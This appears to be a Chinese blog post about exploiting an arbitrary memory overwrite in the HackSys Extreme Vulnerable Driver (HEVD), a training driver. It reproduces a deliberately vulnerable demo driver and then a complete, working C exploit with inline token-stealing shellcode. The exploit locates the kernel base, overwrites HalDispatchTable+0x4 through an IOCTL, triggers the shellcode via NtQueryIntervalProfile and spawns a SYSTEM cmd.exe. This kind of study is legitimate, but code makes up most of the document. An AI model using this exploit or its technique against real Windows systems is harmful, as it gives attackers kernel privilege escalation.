HEVD 內核漏洞之任意內存覆蓋漏洞

任意內存覆蓋 對於 那些比較老舊的系統而言  我感覺還是比較簡單的

但是對於那些 新的系統 新加的那些保護來看的話  估計就比較困難了   

先說0day的那個demo  驅動的代碼如下

 

/********************************************************************
	created:	2010/12/06
	filename: 	D:\0day\ExploitMe\exploitme.c
	author:		shineast
	purpose:	Exploit me driver demo 
*********************************************************************/
#include <ntddk.h>
#define DEVICE_NAME L"\\Device\\ExploitMe"
#define DEVICE_LINK L"\\DosDevices\\DRIECTX1"
#define FILE_DEVICE_EXPLOIT_ME 0x00008888
#define IOCTL_EXPLOIT_ME (ULONG)CTL_CODE(FILE_DEVICE_EXPLOIT_ME,0x800,METHOD_NEITHER,FILE_WRITE_ACCESS)

//創建的設備對象指針
PDEVICE_OBJECT g_DeviceObject;

/**********************************************************************
 驅動派遣例程函數
	輸入:驅動對象的指針,Irp指針
	輸出:NTSTATUS類型的結果
**********************************************************************/
NTSTATUS DrvDispatch(IN PDEVICE_OBJECT driverObject,IN PIRP pIrp)
{ 
	PIO_STACK_LOCATION pIrpStack;//當前的pIrp棧
	PVOID Type3InputBuffer;//用戶態輸入地址
	PVOID UserBuffer;//用戶態輸出地址 
	ULONG inputBufferLength;//輸入緩衝區的大小
	ULONG outputBufferLength;//輸出緩衝區的大小 
	ULONG ioControlCode;//DeviceIoControl的控制號
	PIO_STATUS_BLOCK IoStatus;//pIrp的IO狀態指針
	NTSTATUS ntStatus=STATUS_SUCCESS;//函數返回值 

	//獲取數據
	pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
	Type3InputBuffer = pIrpStack->Parameters.DeviceIoControl.Type3InputBuffer;
	UserBuffer = pIrp->UserBuffer;
	inputBufferLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength; 
	outputBufferLength = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength; 
	ioControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
	IoStatus=&pIrp->IoStatus;
	IoStatus->Status = STATUS_SUCCESS;// Assume success
	IoStatus->Information = 0;// Assume nothing returned

	//根據 ioControlCode 完成對應的任務
	switch(ioControlCode)
	{
	case IOCTL_EXPLOIT_ME: 
		if ( inputBufferLength >= 4 && outputBufferLength >= 4 )
		{
			*(ULONG *)UserBuffer = *(ULONG *)Type3InputBuffer;
			IoStatus->Information = sizeof(ULONG);
		}
		break;
	}  

	//返回
	IoStatus->Status = ntStatus; 
	IoCompleteRequest(pIrp,IO_NO_INCREMENT);
	return ntStatus;
}
/**********************************************************************
 驅動卸載函數
	輸入:驅動對象的指針
	輸出:無
**********************************************************************/
VOID DriverUnload( IN PDRIVER_OBJECT  driverObject )
{ 
	UNICODE_STRING symLinkName; 
	KdPrint(("DriverUnload: 88!\n")); 
	RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
	IoDeleteSymbolicLink(&symLinkName);
	IoDeleteDevice( g_DeviceObject ); 
} 
/*********************************************************************
 驅動入口函數(相當於main函數)
	輸入:驅動對象的指針,服務程序對應的註冊表路徑
	輸出:NTSTATUS類型的結果
**********************************************************************/
NTSTATUS DriverEntry( IN PDRIVER_OBJECT  driverObject, IN PUNICODE_STRING  registryPath )
{ 
	NTSTATUS       ntStatus;
	UNICODE_STRING devName;
	UNICODE_STRING symLinkName;
	int i=0; 
	//打印一句調試信息
	KdPrint(("DriverEntry: Exploit me driver demo!\n"));
	//創建設備 
	RtlInitUnicodeString(&devName,DEVICE_NAME);
	ntStatus = IoCreateDevice( driverObject,
		0,
		&devName,
		FILE_DEVICE_UNKNOWN,
		0, TRUE,
		&g_DeviceObject );
	if (!NT_SUCCESS(ntStatus))
	{
		return ntStatus;  
	}
	//創建符號鏈接  
	RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
	ntStatus = IoCreateSymbolicLink( &symLinkName,&devName );
	if (!NT_SUCCESS(ntStatus)) 
	{
		IoDeleteDevice( g_DeviceObject );
		return ntStatus;
	}
	//設置該驅動對象的卸載函數
	driverObject->DriverUnload = DriverUnload; 
	//設置該驅動對象的派遣例程函數
	for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
	{
		driverObject->MajorFunction[i] = DrvDispatch;
	}
	//返回成功結果
	return STATUS_SUCCESS;
}

這一眼就能看出來利用點在哪    

不過有一點比較好奇    當我把這個sys 拖入ida 裏面看的時候

取出來的buf 爲啥解析的有點問題呢===  是偏移量不對麼00000  感覺是個坑===  一開始和我一個朋友 還特地去 扒了一下 MSDN

然後去看各種資料 去找到了這個結構===  

 

然後 溢出點就在

可以 根據他來修改 任意的地址內存   那麼也就是說 我們可以把一個不常用的系統函數的指針傳進去 改成shellcode 的地址

這裏就不詳情看這個demo了   這裏書上介紹的方法就是把shellcode 的地址改成0 然後再把 一個不常用的函數地址改成0 就可以了

 

下面重點介紹一下   HEVD 的任意任意內存覆蓋漏洞

先看一下 關鍵代碼

咦 =   這裏我們可以去看看 ProbeForRead 這個函數  因爲這裏看到了 用 ProbeForRead 判斷了這兩個函數

https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-probeforread 

這個是MSDN 的解釋  實際上就是檢查用戶模式緩衝區是否實際駐留在地址空間的用戶部分中    也就是說 檢查 緩衝區是否在 r3 程序中===  

如果不檢查的話 也可以按照上面的思想去搞這個題目     這裏的不常用的函數指針  就是 HalDispatchTable+0x4

至於shellcode 的 pop  可以看

可以搞定了==

 

獲取這個函數的地址的方法 可以看exp===

exp 如下

 

#include<Windows.h>
#include<stdio.h>
#include<Psapi.h>
#define Write_What_Where  0x22200B


HANDLE hDevice = NULL;


typedef struct _WRITE_WHAT_WHERE
{
	PULONG_PTR What;
	PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(
	IN ULONG ProfileSource,
	OUT PULONG Interval
	);


static VOID ShellCode()
{
	_asm
	{
		//int 3
			pop edi	// the stack balancing
			pop esi
			pop ebx
			pushad
			mov eax, fs: [124h]		// Find the _KTHREAD structure for the current thread
			mov eax, [eax + 0x50]   // Find the _EPROCESS structure
			mov ecx, eax
			mov edx, 4				// edx = system PID(4)

			// The loop is to get the _EPROCESS of the system
		find_sys_pid :
					 mov eax, [eax + 0xb8]	// Find the process activity list
					 sub eax, 0xb8    		// List traversal
					 cmp[eax + 0xb4], edx    // Determine whether it is SYSTEM based on PID
					 jnz find_sys_pid

					 // Replace the Token
					 mov edx, [eax + 0xf8]
					 mov[ecx + 0xf8], edx
					 popad
					 //int 3
					 ret
	}
}

static VOID CreateCmd()
{
	STARTUPINFO si = { sizeof(si) };
	PROCESS_INFORMATION pi = { 0 };
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_SHOW;
	WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
	BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)& si, &pi);
	if (bReturn)
		CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
LPVOID NtkrnlpaBase()
{
	LPVOID lmbase[1024];
	DWORD lpbet;
	TCHAR lpName[1024];
	EnumDeviceDrivers(lmbase, sizeof(lmbase), &lpbet);///需要枚舉所有的設備驅動地址,這裏可以使用EnumDeviceDrivers

	for (int i = 0; i < 1024;i++)
	{
		GetDeviceDriverBaseNameA(lmbase[i], lpName, 100);
		if (!strcmp(lpName,"ntkrnlpa.exe"))
		{
			return lmbase[i];
		}
	}
	return NULL;
	
}


DWORD32 Getfunction_off()
{
	LPVOID lpbase = NtkrnlpaBase();
	if (lpbase == NULL)
	{
		return 0;
	}
	
	printf("[*] Get Base : %x", lpbase);
	HMODULE ntkrnlpabase = LoadLibrary("ntkrnlpa.exe");

	PVOID pHalDispatchTable = GetProcAddress(ntkrnlpabase, "HalDispatchTable");
	DWORD32 hal_4 = 0;
	hal_4 = (DWORD32)lpbase + ((DWORD32)pHalDispatchTable - (DWORD32)ntkrnlpabase) + 0x4;
	
	printf("[*] Get function %x", hal_4);
	return hal_4;
	
}

VOID Trigger_shellcode(DWORD32 where, DWORD32 what)
{

	WRITE_WHAT_WHERE exploit;
	DWORD lpbReturn = 0;

	exploit.Where = (PULONG_PTR)where;
	exploit.What = (PULONG_PTR)& what;
	printf("[+]Write at 0x%p\n", where);
	printf("[+]Write with 0x%p\n", what);

	printf("[+]Start to trigger...\n");

	DeviceIoControl(hDevice,
		Write_What_Where,
		&exploit,
		sizeof(WRITE_WHAT_WHERE),
		NULL,
		0,
		&lpbReturn,
		NULL);

	printf("[+]Success to trigger...\n");
}


int main()
{

	DWORD interVal;
	hDevice = CreateFileA(
		"\\\\.\\HackSysExtremeVulnerableDriver",
		GENERIC_READ | GENERIC_WRITE,
		NULL,
		NULL,
		OPEN_EXISTING,
		NULL,
		NULL
		);

		if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
		{
			printf("[!] open hDevice error\n");
			return 0;
		}
		DWORD fun_addr=Getfunction_off();
		if (fun_addr == 0)
		{
			printf("[!] fun addr error!!!");
			return 0;
		}
		else
		{
			Trigger_shellcode((DWORD32)fun_addr, (DWORD32)&ShellCode);
		}

		NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryIntervalProfile");

		printf("[+]NtQueryIntervalProfile address is 0x%x\n", NtQueryIntervalProfile);

		NtQueryIntervalProfile(0x1337, &interVal);

		printf("[+]Start to Create cmd...\n");
		CreateCmd();

		system("pause");
	  
}

 

 

 

ok  =====

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章